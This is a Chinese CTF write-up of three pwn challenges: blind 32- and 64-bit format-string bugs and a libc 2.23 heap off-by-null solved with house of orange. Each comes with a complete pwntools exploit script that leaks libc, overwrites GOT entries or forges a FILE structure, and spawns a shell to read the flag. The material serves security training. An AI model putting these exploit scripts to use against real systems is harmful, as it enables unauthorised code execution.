summary

简单说一下这个比赛,感觉这个比赛难度还是不错的,刚刚好,侥幸拿到了一个一血。其中有三道盲打pwn,两道格式化字符串的,一道rop的盲打。rop那道是真的没什么思路,还有一道路由器的pwn,我不知道为什么运行不了二进制文件,可能我环境配置的问题吧。

0x01 fmt32

introduction

这一道题通过题目描述,只给了容器,然后看题目名为32位格式化字符串,并没有像往常的pwn题那样给二进制文件。所以这个时候大致猜测为盲打pwn。

exploit

这道题侥幸拿到了一个一血,顺便总结一下我自己认为的格式化字符串盲打的想法吧。首先就是利用’%p’通过格式化字符串将栈上数据全部打印出来。打印出来,会得到两个信息,一个是我们输入的值是在栈上,另一个是发现有一个text段的地址,这个时候就能得到程序的基址,而且程序没有开启pie。按照一般的思路,这个时候可以用%s将整个程序dump出来。但是我没有这么做,我嫌效率太低。我直接猜测的got表的地址。我为什么这么做呢。因位got表的偏移和text的偏移是固定的,想知道这个偏移,随便打开一个32位程序就知道了,接下来就是不断尝试printf在got表的地址了。然后后面就是格式化字符串的利用了。

下面是我的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
p=remote('47.108.135.45',10001)
context.log_level='debug'
addr=0x804A014
payload='a'+p32(addr)+'%'+'8'+'$s'
p.sendlineafter("Please tell me:",payload)
p.recvuntil('Repeater:a')
p.recv(4)
printf_addr=u32(p.recv(4))
libc=LibcSearcher("printf",printf_addr)
system=printf_addr-libc.dump("printf")+libc.dump("system")
payload='a'+p32(addr)+p32(addr+2)+'%'+str((system&0xffff)-0x12)+'c%8$hn'+'%'+str((system>>16)-((system&0xffff)-0x12)-18)+'c%9$hn'
p.sendlineafter("Please tell me:",payload)
print hex(system)
sleep(1)
p.sendline(";cat /flag")
p.interactive()

0x02 fmt64

introduction

这一道题和上一道题一样,不过这一道题给了一个txt,里面描述如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ readelf -s stilltest
Symbol table '.dynsym' contains 15 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
9: 0000000000000000 0 NOTYPE WEAK DEFAULT UND gmon_start
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sprintf@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
12: 0000000000601080 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (2)
13: 0000000000601090 8 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.2.5 (2)
14: 00000000006010a0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (2)

exploit

根据这个txt,完全可以算出printf_got表地址。存放stdout的地址为601080,这个地址同时也是bss段的开头地址,bss地址和got表地址相差0x20,这个也是随便打开一个64位程序能得到的偏移。然后也是泄露地址,确定偏移量,然后格式化字符串构造。不过可惜没拿到一血,当时因为有其他事情,晚做了三四个小时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
p=remote('47.108.135.45',20162)
context.log_level='debug'
addr=0x601080-0x20-0x8
payload='%9$s'.ljust(8,'a')+p64(addr)
p.sendlineafter("Please tell me:",payload)
p.recvuntil('Repeater:')
printf_addr=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("sprintf",printf_addr)
system=printf_addr-libc.dump("sprintf")+libc.dump("system")
#system=0x666666666666
printf=0x601080-0x20-0x38-8
payload='%'+str((system&0xffff)-0x9)+'c%12$hn'+'%'+str(((system>>16)&0xffff)-((system&0xffff)-0x9)-0x9)+'c%13$hn'
payload+=(32-len(payload))*'a'+p64(printf)+p64(printf+2)
p.sendlineafter("Please tell me:",payload)
print hex(system)
sleep(1)
p.sendline(';cat /flag')
p.interactive()

0x03 heap

introduction

介绍很简单,就是一个堆,给了二进制文件,给了libc2.23。

exploit

分析它的伪代码,发现有一个off-by-null,并且最开始有一个格式化字符串漏洞。但是限制开辟堆块大小,必须为0x80以上的堆块。然后这一题有两种解法,一种是house of orange,还有一种就是unlink。unlink比较简单。说一下unlink的思路吧,最初泄露出pie,然后就是常规unlink。下面是我用house of orange做的。最初泄露__libc_start_main,然后确定libc基址。然后利用house of orange,造成堆块重叠,最后构造fake_file,然后getshell。

下面是我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#context.log_level='debug'
p=process("./pwn1")
#p=remote('47.108.135.45',20162)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(index):
p.sendlineafter(">> ",str(index))

def create(size,index,content):
menu(1)
p.sendlineafter('Enter the index you want to create (0-10):',str(index))
p.sendlineafter("Enter a size:\n",str(size))
p.sendlineafter('Enter the content: \n',content)

def free(index):
menu(2)
p.sendlineafter("Enter an index:\n",str(index))
def edit(index,content):
menu(4)
p.sendlineafter("Enter an index:\n",str(index))
p.sendlineafter('Enter the content: \n',content)

p.recvuntil('Enter your name: ')
p.sendline('%15$p')
p.recvuntil('Hello, 0x')
libc_start_main=int(p.recv(12),16)-240
libc_base=libc_start_main-libc.symbols['__libc_start_main']
success("libc_base=====>0x%x"%libc_base)
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
fake_file=p64(0)+p64(0x61)
fake_file+=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libc_base+0x18cd57)
fake_file=fake_file.ljust(0xd8,"\x00")
fake_file+=p64(libc_base+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.symbols['system'])
create(0xf8,0,'a')
create(0x108,1,'c')
create(0xf8,2,'b')
create(0x88,3,'c')
free(0)
edit(1,'a'*0x100+p64(0x210))
free(2)
create(0x108,0,'a')
edit(1,fake_file)
create(0x1e0,4,'cat /flag')
p.interactive()